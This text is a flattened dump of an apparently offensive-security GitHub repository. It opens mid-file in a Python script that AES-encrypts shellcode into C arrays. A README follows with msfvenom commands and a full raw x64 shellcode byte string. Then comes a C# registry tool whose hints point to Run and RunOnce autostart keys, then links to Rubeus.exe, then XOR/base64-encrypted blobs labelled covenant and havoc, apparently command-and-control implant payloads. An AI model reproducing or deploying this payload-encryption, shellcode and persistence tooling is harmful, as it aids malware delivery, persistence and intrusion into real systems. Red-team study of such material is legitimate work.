hashlib.sha256(key).digest() 20 | iv = 16 * '\x00' 21 | plaintext = pad(plaintext) 22 | cipher = AES.new(k, AES.MODE_CBC, iv) 23 | 24 | return cipher.encrypt(bytes(plaintext)) 25 | 26 | 27 | try: 28 | plaintext = open(sys.argv[1], "rb").read() 29 | except: 30 | print("File argument needed! %s " % sys.argv[0]) 31 | sys.exit() 32 | 33 | ciphertext = aesenc(plaintext, KEY) 34 | print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };') 35 | print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };') 36 | -------------------------------------------------------------------------------- /dotNETbinaries/AES_encrypted/mssgbox_shellcode_x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/AES_encrypted/mssgbox_shellcode_x64.bin -------------------------------------------------------------------------------- /dotNETbinaries/HelloReflectionWorld.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/HelloReflectionWorld.exe -------------------------------------------------------------------------------- /dotNETbinaries/README.md: -------------------------------------------------------------------------------- 1 | 1. 2 | ``` 3 | $ msfvenom --platform windows -a x86 -p windows/messagebox Text="Hello from shellcode" -f csharp > mssgbox_csharp_shellcode_x86.txt 4 | ``` 5 | [mssgbox_csharp_shellcode_x86.txt](https://github.com/reveng007/Executable_Files/blob/main/dotNETbinaries/mssgbox_csharp_shellcode_x86.txt) 6 | 7 | 2. 8 | ``` 9 | $ msfvenom --platform windows -a x64 -p windows/x64/messagebox Text="Hello from shellcode" -f csharp > mssgbox_csharp_shellcode_x64.txt 10 | ``` 11 | [mssgbox_csharp_shellcode_x64.txt](https://github.com/reveng007/Executable_Files/blob/main/dotNETbinaries/mssgbox_csharp_shellcode_x64.txt) 12 | 13 | 3. 14 | Creation of bin file: 15 | ``` 16 | $ echo -ne "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e\x4c\x8d\x85\x13\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x48\x65\x6c\x6c\x6f\x20\x66\x72\x6f\x6d\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00" > mssgbox_shellcode_x64.bin 17 | ``` 18 | > -n do not output the trailing newline 19 | > -e enable interpretation of backslash escapes, specifically recognises “\xHH” as hexadecimal. 20 | 21 | source link: https://ivanitlearning.wordpress.com/2018/10/14/shellcoding-with-msfvenom/ 22 | 23 | -------------------------------------------------------------------------------- /dotNETbinaries/RegistryTinker.cs: -------------------------------------------------------------------------------- 1 | using System; // 2 | using System.Text; // Namespace which contain Class named, "StringBuilder" which represents a mutable string of characters 3 | using Microsoft.Win32; // Namespace which contain Class named, "Registry" which Provides RegistryKey objects that represent the root keys in the Windows registry, and static methods to access key/value pairs. 4 | using System.Collections.Generic; // Namespace which contain Class named, "Dictionary" which represents a collection of keys and values. 5 | 6 | namespace RegistryTinker 7 | { 8 | public class program 9 | { 10 | 11 | // links: 12 | // https://www.c-sharpcorner.com/UploadFile/rohatash/difference-between-object-and-dynamic-keyword-in-C-Sharp/ 13 | // https://www.dotnettricks.com/learn/csharp/differences-between-object-var-and-dynamic-type 14 | 15 | // Creating a dictionary to store all the registry bases or registry hives 16 | public static Dictionary registryHives = new Dictionary(); 17 | 18 | // Object list Under Registry: 19 | // https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registry?view=net-6.0#remarks 20 | 21 | 22 | // ============================ All Command Menus ====================================== 23 | 24 | public static void FirstCmdMenu() 25 | { 26 | Console.WriteLine(@"[*] Use: 27 | 1. readkey: To read any reg key 28 | 2. createkey: To create any reg key 29 | 3. deletekey: To delete any reg key 30 | 4. setvalue: To set any value to a specific reg key 31 | 5. deletevalue: To delete any previously set value of a specific reg key 32 | 6. exit: To exit"); 33 | } 34 | 35 | public static void SecondCmdMenu() 36 | { 37 | Console.WriteLine("Give a key in the following formats:"); 38 | Console.WriteLine("====================================\n"); 39 | Console.WriteLine("RegistryKeyHiveName\\KEY\\SUBKEY\\...\\SUBKEY: \n"); 40 | Console.WriteLine("\n[*] SOME HINTS:\n"); 41 | Console.WriteLine("[1] HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run \tAdd the reg keys, to automatically run software whenever user logs in. \n\t\t\t\t\t\t\t\t\tWhere, HKEY_CURRENT_USER: Its subkeys contain user profiles for all users that ever logged in locally to this machine."); 42 | Console.WriteLine("[2] HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run \tAdd the reg keys, to automatically run software whenever system reboots. \n\t\t\t\t\t\t\t\t\tWhere, HKEY_LOCAL_MACHINE: Contains machine wide configuration information including hardware and software settings"); 43 | Console.WriteLine("[3] HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall \tTo uninstall added reg keys, to disable automatic running of it while system reboot."); 44 | Console.WriteLine("[4] HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce \tAdd the reg keys, to automatically run software whenever user logs in, the program run \n\t\t\t\t\t\t\t\t\t one time, and then the key is deleted. \n\t\t\t\t\t\t\t\t\tWhere, HKEY_LOCAL_MACHINE: Configuration information including hardware and software settings."); 45 | Console.WriteLine("[5] HKEY_CURRENT_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce \tAdd the reg keys, to automatically run software whenever system reboots, the program \n\t\t\t\t\t\t\t\t\t run one time, and then the key is deleted. \n\t\t\t\t\t\t\t\t\tWhere, HKEY_CURRENT_USER: profile of the currently logged-on user."); 46 | } 47 | 48 | // ============================== Getting reg key input from User ============================= 49 | // ======================================= Console No. 2 ====================================== 50 | 51 | public static string GetRegKeyInput(string cmd) 52 | { 53 | string key; 54 | 55 | Console.WriteLine("\n[*] Registry key to {0}?\n", cmd); 56 | Console.WriteLine(@"[+] [TIPS: 57 | 1. Press any key to move back to previous Console Prompt 58 | 2. ""exit"": To exit]"); 59 | 60 | Console.Write("\n[KeyName>] "); 61 | key = Console.ReadLine(); 62 | 63 | return key; 64 | } 65 | 66 | // ============================ Convertion of String type (hivename) to RegistryKey type (hivename) =================== 67 | 68 | public static RegistryKey ConvertStringToRegistryKey(string hivename) 69 | { 70 | RegistryKey rkey; 71 | 72 | if(hivename == "HKEY_CURRENT_USER") 73 | { 74 | rkey = Registry.CurrentUser; 75 | return rkey; 76 | } 77 | else if(hivename == "HKEY_CLASSES_USER") 78 | { 79 | rkey = Registry.ClassesRoot; 80 | return rkey; 81 | } 82 | else if(hivename == "HKEY_CURRENT_CONFIG") 83 | { 84 | rkey = Registry.CurrentConfig; 85 | return rkey; 86 | } 87 | else if(hivename == "HKEY_LOCAL_MACHINE") 88 | { 89 | rkey = Registry.LocalMachine; 90 | return rkey; 91 | } 92 | else 93 | { 94 | rkey = Registry.Users; 95 | return rkey; 96 | } 97 | } 98 | 99 | 100 | // ===================================== Interacting with REGISTRY KEYS with various goals in mind ================================== 101 | 102 | // ====== Exit function ============== 103 | 104 | public static void EXIT(string cmd) 105 | { 106 | if (cmd.Equals("exit")) 107 | { 108 | // exiting 109 | System.Environment.Exit(1); 110 | } 111 | } 112 | 113 | // Seperate funtion for parsing hive/base name and Key name 114 | public static string[] ParsingRegKeyPath(string cmd) 115 | { 116 | // We would return 2 strings: hivename and keyname 117 | string[] ret = new string[2]; 118 | 119 | // hivename: Storing the registry hive name from Reg key path inputed i.e. cmd 120 | ret[0] = cmd.Split('\\')[0]; 121 | 122 | EXIT(cmd); 123 | 124 | if(!registryHives.ContainsKey(ret[0])) 125 | { 126 | Console.WriteLine("\n[-] Registry base/hive name is not found."); 127 | Console.WriteLine("[*] Moving to previous shell...\n"); 128 | MainConsole(); 129 | } 130 | 131 | // keyname: Storing the registry key name from the whole Reg key path inputed i.e. cmd 132 | ret[1] = cmd.Substring(ret[0].Length+1, cmd.Length-ret[0].Length-1); 133 | 134 | return ret; 135 | } 136 | 137 | // ============================== Getting reg key to read ============================= 138 | 139 | public static void ReadRegKey(string cmd) 140 | { 141 | // Storing 2 strings: hivename and keyname 142 | string[] hivename_keyname = ParsingRegKeyPath(cmd); 143 | 144 | // Printing reg hive name 145 | Console.WriteLine("\n[+] Registry base/hive name :\t {0}\n", hivename_keyname[0]); 146 | 147 | // As, converting of String type to RegistryKey type is not possible 148 | // => link: https://www.dotnetspider.com/forum/17404-Urgent-How-to-convert-e-string-to-RegistryKey 149 | // So, Creating custom function to do the Convertion 150 | // Calling function named, ConvertStringToRegistryKey() 151 | RegistryKey rkey = ConvertStringToRegistryKey(hivename_keyname[0]); 152 | 153 | // Retrieve all the subkeys for the specified key. 154 | string [] subkeynames = rkey.GetSubKeyNames(); 155 | 156 | int count1 = 1; 157 | 158 | //Print the Subkeynames Under Current Registry Hive name 159 | Console.WriteLine(@" [1] Registry SubKeys available Under ""{0}""",registryHives[hivename_keyname[0]]); 160 | Console.WriteLine(" ========================================================\n"); 161 | 162 | // Print the contents of the array to the console, i.e, All subkeys under requested Registry Hive 163 | foreach (string s in subkeynames) 164 | { 165 | Console.WriteLine("\t [{0}] {1}",count1,s); 166 | count1++; 167 | } 168 | 169 | using(RegistryKey key = registryHives[hivename_keyname[0]].OpenSubKey(hivename_keyname[1])) // Reading the keys 170 | { 171 | // Printing the registry key name 172 | Console.WriteLine("\n[+] Requested Registry Key/key name :\t {0}\n",hivename_keyname[1]); 173 | 174 | //Print the Value Names and Values 175 | int count2 = 1; 176 | Console.WriteLine(" [1] ValueName : Value"); 177 | Console.WriteLine(" ========================\n"); 178 | 179 | try 180 | { 181 | foreach(string valuename in key.GetValueNames()) // Printing the Values 182 | { 183 | Object obj = key.GetValue(valuename); 184 | 185 | if(obj == null) 186 | { 187 | Console.WriteLine("[-] Returned object was empty"); 188 | } 189 | 190 | /* 191 | // Have to do something so that System.Byte[] object type gets printed on the Console 192 | 193 | // Getting Object types 194 | Console.WriteLine("Type: {0}",obj.GetType()); 195 | 196 | if (obj.GetType().Equals("System.Byte[]")) 197 | { 198 | 199 | Console.WriteLine(Encoding.Default.GetString(obj)); 200 | Console.WriteLine("\t [{0}] {1} : {2}", count2,valuename,obj); 201 | break; 202 | } 203 | */ 204 | Console.WriteLine("\t [{0}] {1} : {2}", count2,valuename,obj); 205 | count2++; 206 | } 207 | } 208 | catch(System.NullReferenceException e) 209 | { 210 | Console.WriteLine("[-] KeyName in the provided Registry Key path is absent: {0}\t Try Again!!", e.Message); 211 | } 212 | } 213 | // mimicking the Swtich Case scenario of Main() function to enable the smooth flow of [KeyName>] prompt 214 | string mimic_main_key = GetRegKeyInput("read"); 215 | ReadRegKey(mimic_main_key); 216 | } 217 | 218 | 219 | // ============================== Creating registry Sub keys to add to registry hive ============================= 220 | 221 | public static void CreateRegKey(string cmd) 222 | { 223 | // Storing 2 strings: hivename and keyname 224 | string[] hivename_keyname = ParsingRegKeyPath(cmd); 225 | 226 | // Printing reg hive name 227 | Console.WriteLine("\n[+] Registry base/hive name :\t {0}", hivename_keyname[0]); 228 | 229 | // Printing the registry key name 230 | Console.WriteLine("[+] Requested Registry Key/key name :\t {0}\n",hivename_keyname[1]); 231 | 232 | using(RegistryKey KEY = registryHives[hivename_keyname[0]].OpenSubKey(hivename_keyname[1])) // Reading the keys 233 | { 234 | try 235 | { 236 | if (KEY == null) 237 | { 238 | Console.WriteLine("\n[+] Similar KeyName in the provided Registry Key path doesn't exist previously"); 239 | 240 | // Creating registry Sub keys to add 241 | RegistryKey key = registryHives[hivename_keyname[0]].CreateSubKey(hivename_keyname[1]); 242 | Console.WriteLine("[+] Registry Sub Key Created!!\n"); 243 | } 244 | else 245 | { 246 | Console.WriteLine("\n[-] Similar KeyName in the provided Registry Key path already exists:\t Try Again!!"); 247 | } 248 | } 249 | catch (Exception e) 250 | { 251 | Console.WriteLine("[-] Unable to Create Registry Sub Key: {0}", e.Message); 252 | } 253 | } 254 | // mimicking the Swtich Case scenario of Main() function to enable the smooth flow of [KeyName>] prompt 255 | string mimic_main_key = GetRegKeyInput("create"); 256 | CreateRegKey(mimic_main_key); 257 | } 258 | 259 | 260 | // ============================== Deleting registry Sub keys from registry hive ============================= 261 | 262 | public static void DeleteRegKey(string cmd) 263 | { 264 | // Storing 2 strings: hivename and keyname 265 | string[] hivename_keyname = ParsingRegKeyPath(cmd); 266 | 267 | // Printing reg hive name 268 | Console.WriteLine("\n[+] Registry base/hive name :\t {0}", hivename_keyname[0]); 269 | 270 | // Printing the registry key name 271 | Console.WriteLine("[+] Requested Registry Key/key name :\t {0}\n",hivename_keyname[1]); 272 | 273 | using(RegistryKey KEY = registryHives[hivename_keyname[0]].OpenSubKey(hivename_keyname[1])) // Reading the keys 274 | { 275 | try 276 | { 277 | if (KEY == null) 278 | { 279 | Console.WriteLine("\n[-] KeyName in the provided Registry Key path doesn't exist:\t Try Again!!"); 280 | } 281 | else 282 | { 283 | Console.WriteLine("\n[+] KeyName in the provided Registry Key path exists\n"); 284 | 285 | // Deleting registry Sub key 286 | registryHives[hivename_keyname[0]].DeleteSubKey(hivename_keyname[1]); 287 | registryHives[hivename_keyname[0]].Close(); 288 | 289 | Console.WriteLine("[+] Registry Sub Key Deleted!!\n"); 290 | } 291 | } 292 | catch (Exception e) 293 | { 294 | Console.WriteLine("[-] Unable to Delete Registry Sub Key: {0}", e.Message); 295 | } 296 | } 297 | // mimicking the Swtich Case scenario of Main() function to enable the smooth flow of [KeyName>] prompt 298 | string mimic_main_key = GetRegKeyInput("delete"); 299 | DeleteRegKey(mimic_main_key); 300 | } 301 | 302 | 303 | // ============================== Setting value to a registry Subkey ========================= 304 | public static void SetValue(string cmd) 305 | { 306 | // Storing 2 strings: hivename and keyname 307 | string[] hivename_keyname = ParsingRegKeyPath(cmd); 308 | 309 | // Printing reg hive name 310 | Console.WriteLine("\n[+] Registry base/hive name :\t {0}", hivename_keyname[0]); 311 | 312 | // Printing the registry key name 313 | Console.WriteLine("[+] Requested Registry Key/key name :\t {0}\n",hivename_keyname[1]); 314 | 315 | using(RegistryKey KEY = registryHives[hivename_keyname[0]].OpenSubKey(hivename_keyname[1],true)) // Reading the keys and true makes it writable 316 | { 317 | try 318 | { 319 | if (KEY == null) 320 | { 321 | Console.WriteLine("\n[-] KeyName in the provided Registry Key path doesn't exist:\t Try Again!!"); 322 | } 323 | else 324 | { 325 | Console.WriteLine("\n[+] KeyName in the provided Registry Key path exists\n"); 326 | 327 | //Entering value name 328 | Console.WriteLine("[*] Registry Value Name?"); 329 | Console.Write("[valuename>] "); 330 | string valuename = Console.ReadLine(); 331 | 332 | EXIT(valuename); 333 | 334 | //Entering value 335 | Console.WriteLine("\n[*] Registry Value?"); 336 | Console.Write("[value>] "); 337 | string Value = Console.ReadLine(); 338 | 339 | EXIT(Value); 340 | 341 | //Adding valuename and value, to registry Sub key 342 | /* 343 | * We could have also used this: 344 | * 345 | * link: https://docs.microsoft.com/en-us/dotnet/api/microsoft.win32.registry.setvalue?view=net-6.0 346 | * Syntax: 347 | * public static void SetValue (string keyName, 348 | * string? valueName, 349 | * object value, 350 | * Microsoft.Win32.RegistryValueKind valueKind); 351 | 352 | * Sets the specified name/value pair on the specified registry key. If the specified key does not exist, it is created. 353 | * As, Already the not existing registry key is discarded using try catch previously, we can use this... This will not create accidental Registry Key. 354 | 355 | * Registry.SetValue(cmd,valuename,Value,RegistryValueKind.String); 356 | */ 357 | KEY.SetValue(valuename,Value); 358 | 359 | Console.WriteLine("\n[+] Registry Value added!!\n"); 360 | } 361 | } 362 | catch (Exception e) 363 | { 364 | Console.WriteLine("[-] Unable to Add Registry Value: {0}", e.Message); 365 | } 366 | } 367 | // mimicking the Swtich Case scenario of Main() function to enable the smooth flow of [KeyName>] prompt 368 | string mimic_main_key = GetRegKeyInput("set value"); 369 | SetValue(mimic_main_key); 370 | } 371 | 372 | // ============================== Deleting value from a registry Subkey ========================= 373 | public static void DeleteValue(string cmd) 374 | { 375 | // Storing 2 strings: hivename and keyname 376 | string[] hivename_keyname = ParsingRegKeyPath(cmd); 377 | 378 | // Printing reg hive name 379 | Console.WriteLine("\n[+] Registry base/hive name :\t {0}", hivename_keyname[0]); 380 | 381 | // Printing the registry key name 382 | Console.WriteLine("[+] Requested Registry Key/key name :\t {0}\n",hivename_keyname[1]); 383 | 384 | using(RegistryKey KEY = registryHives[hivename_keyname[0]].OpenSubKey(hivename_keyname[1],true)) // Reading the keys and true makes it writable 385 | { 386 | try 387 | { 388 | if (KEY == null) 389 | { 390 | Console.WriteLine("\n[-] KeyName in the provided Registry Key path doesn't exist:\t Try Again!!"); 391 | } 392 | else 393 | { 394 | Console.WriteLine("\n[+] KeyName in the provided Registry Key path exists\n"); 395 | 396 | //Entering value name 397 | Console.WriteLine("[*] Registry Value Name?"); 398 | Console.Write("[valuename>] "); 399 | string valuename = Console.ReadLine(); 400 | 401 | EXIT(valuename); 402 | 403 | KEY.DeleteValue(valuename); 404 | 405 | Console.WriteLine("\n[+] Registry Value deleted!!\n"); 406 | } 407 | } 408 | catch (Exception e) 409 | { 410 | Console.WriteLine("[-] Unable to Delete Registry Value: {0}", e.Message); 411 | } 412 | } 413 | // mimicking the Swtich Case scenario of Main() function to enable the smooth flow of [KeyName>] prompt 414 | string mimic_main_key = GetRegKeyInput("delete value"); 415 | DeleteValue(mimic_main_key); 416 | } 417 | 418 | // ===================================== Main Console ======================================== 419 | 420 | public static void MainConsole() 421 | { 422 | while(true) 423 | { 424 | FirstCmdMenu(); 425 | // Starting Menu: 426 | Console.Write("\n[>] "); 427 | string userinput = Console.ReadLine(); 428 | if (userinput == null || userinput.Equals("")) 429 | { 430 | Console.WriteLine("[-] User input is out of Command Menu Syllabus\n"); 431 | continue; 432 | } 433 | 434 | EXIT(userinput); 435 | 436 | string key; 437 | 438 | switch(userinput) 439 | { 440 | case "readkey": 441 | 442 | SecondCmdMenu(); 443 | 444 | // Get reg key from the user 445 | key = GetRegKeyInput("read"); 446 | 447 | // Calling read reg key 448 | ReadRegKey(key); 449 | break; 450 | 451 | case "createkey": 452 | 453 | SecondCmdMenu(); 454 | 455 | // Get reg key from the user 456 | key = GetRegKeyInput("create"); 457 | 458 | // Calling read reg key 459 | CreateRegKey(key); 460 | break; 461 | 462 | case "deletekey": 463 | 464 | SecondCmdMenu(); 465 | 466 | // Get reg key from the user 467 | key = GetRegKeyInput("delete"); 468 | 469 | // Calling read reg key 470 | DeleteRegKey(key); 471 | break; 472 | 473 | case "setvalue": 474 | 475 | SecondCmdMenu(); 476 | 477 | // Get reg key from the user 478 | key = GetRegKeyInput("set value"); 479 | 480 | // Calling read reg key 481 | SetValue(key); 482 | break; 483 | 484 | case "deletevalue": 485 | 486 | SecondCmdMenu(); 487 | 488 | // Get reg key from the user 489 | key = GetRegKeyInput("delete value"); 490 | 491 | // Calling read reg key 492 | DeleteValue(key); 493 | break; 494 | 495 | default: 496 | break; 497 | } 498 | } 499 | } 500 | 501 | // ====================================== Entry Funtion ============================ 502 | 503 | public static void Main() 504 | { 505 | // Building a dictionary for all registry hive names 506 | // so that we can parse the request and ask 507 | // them seperately. 508 | 509 | registryHives.Add("HKEY_CURRENT_USER", Registry.CurrentUser); 510 | registryHives.Add("HKEY_CLASSES_USER", Registry.ClassesRoot); 511 | registryHives.Add("HKEY_CURRENT_CONFIG", Registry.CurrentConfig); 512 | registryHives.Add("HKEY_LOCAL_MACHINE", Registry.LocalMachine); 513 | registryHives.Add("HKEY_USERS", Registry.Users); 514 | 515 | MainConsole(); 516 | } 517 | } 518 | } 519 | -------------------------------------------------------------------------------- /dotNETbinaries/RegistryTinker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/RegistryTinker.exe -------------------------------------------------------------------------------- /dotNETbinaries/Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reveng007/Executable_Files/d74f4db748d6af18c84f62f62050d29f1d9e1978/dotNETbinaries/Rubeus.exe -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/covenant.txt: -------------------------------------------------------------------------------- 1 | jo35ZW5nUAHl+4AS7jxXu2I7+TdiatktFgHI+RdeVK7LDFFLcElWpKFqMfd+B4ok7jx3u3ILc7X9JRbi8GdDPmSm7iZ/u2gXc7Ym4KcTDAHIO+5C7m+xAfD2vWjaZKlf0EXDcRiOXhNDRdBv+T1SZL0Buzx8+T1qZL3sNLs2ouwyQUo8a1FuKDSJhTY4arslm+WJmpE6WAMFcmUeEh1Vb2RfPhJQYuePz+CP4mR2ZUejZGBfW+UdZZGyWjpfp4btFgZlMDTl+4MmNT43cGB3Ig2carGHz+WgGHUgMgb+lURWjbDzpRptz34/B4meAm5nMFo3GGEgMgZl6fhojbD1nW4ZBrsBGCUeZX5nMGZdcg0uwT2Cz+WkIQ92Mz0wWDLuujqJsO2fME0fKg12JW5nWjBnGm5Zal6Y5WdfBws7BJGybm7IfkF54B6Yz8/e6ZqJmm+kGfZCs6bNhXNNOliR59jrmrtbNkw98p6WEGvcdyNFHQ92NpGy 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/covenant2.txt: -------------------------------------------------------------------------------- 1 | jo35ZW5nULnSQ7cS7jxXu2I7+Tdi7hxPAc84xS9QVK7LDFFLcElWpKFqMfd+B4ok7jx3Z7t1TmSm7i4ftfBDPmSmNeU/EDHk+S1u4KcTDHm8Ru53s1+YAfCbs6p7ZKlf0EXDcRiOXhNDRdBv+T1SZL0Buzx8+T1qZL3sNLs2ouwyQUo8a1FuKDSJhTY4arslm+WJmpE6WAMFcmUeEh1Vb2RfPhJQYuePz+CP4mR2ZUejZGBfW+UdZZGyWjpfp4btFgZlMDTl+4MmNT43cGB3Ig2carGHz+WgGHUgMgb+lURWjbDzpRptz34/B4meAm5nMFo3GGEgMgZl6fhojbD1nW4ZBrsBGCUeZX5nMGZdcg0uwT2Cz+WkIQ92Mz0wWDLuujqJsO2fME0fKg12JW5nWjBnGm5Zal6Y5WdfBws7BJGybm7IfkF54B6Yz8/e6ZqJmm+kGfZCs6bNldvFZlo3IZqj 2 | -------------------------------------------------------------------------------- /dotNETbinaries/XOR_b64_encrypted/havoc.txt: -------------------------------------------------------------------------------- 1 | JC3/gybk1MB/8YlWjWFnMDB/+5EopghJPy+zcmV2ZW4mZnUGsiBHrF+1cWUGuyQiMDkxY3i0njU67CpDcHy+NkE+IecrFAR/+zFSXecrFADfmWd2Zdc0J9ZHO+yzjWBlMDCNMQ8z+ybu83i+s405Z25neLnuyInO5pmPcjI3ci3/vNTvGNlnOuywjVxlMDB+EThKIF+neLP+jSz/oSbqZBQPPug6QV4rMdu8MTWxIUpPNDA3cqIyQU5nIDA3+yFSVZGxtfA4+iR3ZW5oh3MjN1S2LeMLMyh/+4950i1heLt7Vl03XK4ULbt1fu4EcS+Y8Hi0sE0+ZKYrMd68OI0+7KmUlNvi+ebGZW5ntfBDfy39Nl4rvTQ2mgF0ZW5Wxo8ncmV2JNBHMDA3PugaQSZoh3MxOu46QVZe9j+0z2V2ZeUiPHg2s+4zdSbufBR3OuwyQSZW8LlzVlH9IEomufG+sCT3hG5nMBC2kGV2ZS7i8Egv97cCaCvi+UUKM9x0ZW5n2xVy96wDVYV5teJDfyDzrBtfcYkzcmV2jlAitflCQSTPbW5nMNsGV2V2ZQ5aMDA3EiB5IaCMERU3cmUWIOeWDTA3cgUyaiuo2z52yyV2ZW6MNnGO8mV2ZSbqdBQDOugiQS4qudjItC3/IUpHeLP+jS31oEYmz+TeQJqJmuUkGHUGst93ZW5neDH/jbU+5qo3a25oLyQqJDMmbvOn4vXm9Sfu+YgyZ2V2IORmeLXlB2Mz4a4SJvNy+683TKQuCeJEUSDypRtiec/2mW835ZYHRjR28Y1WDq5GdT+BsiyJpCpm8NvzsfXm9f73oKCn4vXmMjgvuf5kOuaaRQsvuzQSEmV2ZSbscCh/+R1WLeecP4dkOi39Lj6Ptc/Ijey2LVeXRTZ/+SZWjn8vuyt/974CYCZe70XuOua+mibk9BBsLDq1JDkuued2JCQjJDoyAd1gJDY+7KUvs9wfOgY3WeXbOLg3cmU+ZKEju0cXNu4ReSrsXxR+c6tNCnYUAbnZQ7c37mLReDHumnCJmpErCchCai13kyZm7nI4xWFYLeNjs3K8dkU+ZLaMNM/yma8+5qpPa25oLyQqJDMmbnFosfXm9YZnMDA3Ky1HvtUqajA3Opq3WwhcKUXYOlS2A+UmDHg2ui1Hvgjm82ByTANNfRuweLn/sY12ZW5naHi0mmC1A/4uufp+W7c37m7i8ER3N+4+YSZm+H02syz1pWYqCfFDlCT8NW8mueN28YaGJO6ckEUnFCT9de+Fzz83cil3cX6MNrDNfRN3qSfk8DLcvKbm9W5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nfWqncmZ2ZW5jMDA3jZp2ZdZnMDA3cmV2JW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV25W5nMD4oyGt20WeqEYg2PqhXMQYOQxBHAAoRFw8KEFNWHAsZEU4FVRBFBwtWDABHdH9kUggZAQtJPT09VmV2ZW5nMDBnN2V2AehgMASJ2QZ2ZW5nMDA3cpV2S0xsMjIScoF2ZW5/MDA3cGV2FetnMDAncmV2ZXdJMzA3cmVmZW5nMjA3dmV2ZW5nMDAycmd2ZW5nMDBXc2V2YW5nSgQ2cmd2BWtnMBA3cmV2ZW53MDA3cmV2ZW53MDA3cmV2dW5nMDA3cmV2ZW53MDA3clV3ZSlnMDA3MmR2cW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW43MTBPcmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmVYEQsfRDA3cnWVZW5nIDA3coF2ZW5jMDA3cmV2ZW5nMDA3cmVWZW4HHlRWBgR2ZW5nPTA3cmV3ZW5pMDA3mmV2ZW5nMDA3cmV2ZW5ncDA3sksEAQ8TUTA3UmZ2ZW53MTA3dmV2ZZhnMDA3cmV2ZW5nMDA3ciV2ZS5JUkNEcmV2ZV5nMDA3UmR2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW7nMDD3XAASBBoGMDBwcmV2ZV5mMDA1cmV2n25nMDA3cmV2ZW5nMDA3MmV2JUAOVFFDE2V2cW5nMDB3c2V2Z25nMMw3cmV2ZW5nMDA3cmV2ZS5nMPAZAAAaCg1nMEg3cmV2NW9nMDI3cmWIZW5nMDA3cmV2ZW5nMDB3cmU0ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2ZW5nMDA3cmV2Za33oKCn4vXm9f73oKCn4vU3Pibk9Dh/+